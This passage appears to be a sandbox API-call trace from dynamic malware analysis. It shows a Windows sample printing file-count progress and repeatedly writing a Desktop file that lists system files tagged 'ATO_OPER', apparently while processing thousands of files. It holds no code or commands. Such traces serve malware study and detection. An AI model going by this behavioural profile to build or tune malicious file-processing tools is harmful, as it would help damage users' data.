lpMultiByteStr=0x1eb2394, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=0 / B=0 / T=3896", lpUsedDefaultChar=0x0) returned 36 [0031.729] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x24, lpOverlapped=0x0) returned 1 [0031.729] Sleep (dwMilliseconds=0x5dc) [0033.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=145 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0033.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=145 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x1eb2244, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=145 / B=0 / T=3896", lpUsedDefaultChar=0x0) returned 38 [0033.833] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x26, lpOverlapped=0x0) returned 1 [0033.833] Sleep (dwMilliseconds=0x5dc) [0035.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=311 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0035.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=311 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x1eb2244, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=311 / B=0 / T=3896", lpUsedDefaultChar=0x0) returned 38 [0035.665] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x26, lpOverlapped=0x0) returned 1 [0035.669] Sleep (dwMilliseconds=0x5dc) [0037.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=522 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0037.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=522 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x1eb219c, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=522 / B=0 / T=3896", lpUsedDefaultChar=0x0) returned 38 [0037.595] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x26, lpOverlapped=0x0) returned 1 [0037.596] Sleep (dwMilliseconds=0x5dc) [0039.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=793 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0039.649] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=793 / B=0 / T=3896", cchWideChar=38, lpMultiByteStr=0x1eb2244, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=793 / B=0 / T=3896", lpUsedDefaultChar=0x0) returned 38 [0039.649] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x26, lpOverlapped=0x0) returned 1 [0039.650] Sleep (dwMilliseconds=0x5dc) [0041.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0041.761] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0041.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\n", cchWideChar=77, lpMultiByteStr=0x1e8e928, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\n\x02 &", lpUsedDefaultChar=0x0) returned 77 [0041.763] WriteFile (in: hFile=0x168, lpBuffer=0x1e8e928*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1e8e928*, lpNumberOfBytesWritten=0x290fe34*=0x4d, lpOverlapped=0x0) returned 1 [0041.780] CloseHandle (hObject=0x168) returned 1 [0041.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1084 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0041.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1084 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=1084 / B=1 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0041.785] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0041.788] Sleep (dwMilliseconds=0x5dc) [0044.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1408 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0044.185] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1408 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=1408 / B=1 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0044.185] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0044.185] Sleep (dwMilliseconds=0x5dc) [0046.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1679 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0046.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=1679 / B=1 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=1679 / B=1 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0046.021] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0046.022] Sleep (dwMilliseconds=0x5dc) [0048.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0048.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\n", cchWideChar=147, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 147 [0048.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\n", cchWideChar=147, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 147 [0048.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\n", cchWideChar=147, lpMultiByteStr=0x1e5d0d8, cbMultiByte=147, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\n", lpUsedDefaultChar=0x0) returned 147 [0048.486] WriteFile (in: hFile=0x1c4, lpBuffer=0x1e5d0d8*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x1e5d0d8*, lpNumberOfBytesWritten=0x290fe34*=0x93, lpOverlapped=0x0) returned 1 [0048.487] CloseHandle (hObject=0x1c4) returned 1 [0048.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2071 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0048.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2071 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=2071 / B=2 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0048.487] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0048.487] Sleep (dwMilliseconds=0x5dc) [0051.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2496 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0051.177] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2496 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=2496 / B=2 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0051.177] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0051.178] Sleep (dwMilliseconds=0x5dc) [0052.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2742 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0052.835] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=2742 / B=2 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb20f4, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=2742 / B=2 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0052.835] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0052.836] Sleep (dwMilliseconds=0x5dc) [0056.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0056.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\n", cchWideChar=228, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 228 [0056.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\n", cchWideChar=228, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 228 [0056.937] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\n", cchWideChar=228, lpMultiByteStr=0x25c4ea8, cbMultiByte=228, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\n =\\\x02°\x04\x02", lpUsedDefaultChar=0x0) returned 228 [0056.937] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c4ea8*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesWritten=0x290fe34*=0xe4, lpOverlapped=0x0) returned 1 [0056.938] CloseHandle (hObject=0x1d4) returned 1 [0056.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3074 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0056.939] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3074 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3074 / B=3 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0056.939] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0056.940] Sleep (dwMilliseconds=0x5dc) [0061.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3292 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0061.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3292 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3292 / B=3 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0061.418] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0061.425] Sleep (dwMilliseconds=0x5dc) [0064.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3379 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0064.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3379 / B=3 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3379 / B=3 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0064.300] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0064.301] Sleep (dwMilliseconds=0x5dc) [0066.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0066.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\n", cchWideChar=295, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 295 [0066.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\n", cchWideChar=295, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 295 [0066.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\n", cchWideChar=295, lpMultiByteStr=0x27e9238, cbMultiByte=295, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\n¨Æàà¬ÔQ´9|Þk|¨1,«´¸\x01t\x0c\x96¾[éÂ", lpUsedDefaultChar=0x0) returned 295 [0066.293] WriteFile (in: hFile=0x160, lpBuffer=0x27e9238*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x27e9238*, lpNumberOfBytesWritten=0x290fe34*=0x127, lpOverlapped=0x0) returned 1 [0066.295] CloseHandle (hObject=0x160) returned 1 [0066.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3445 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0066.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3445 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2084, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3445 / B=4 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0066.295] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0066.297] Sleep (dwMilliseconds=0x5dc) [0068.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3505 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0068.361] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3505 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3505 / B=4 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0068.361] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0068.362] Sleep (dwMilliseconds=0x5dc) [0071.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3517 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0071.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3517 / B=4 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3517 / B=4 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0071.497] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0071.499] Sleep (dwMilliseconds=0x5dc) [0074.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 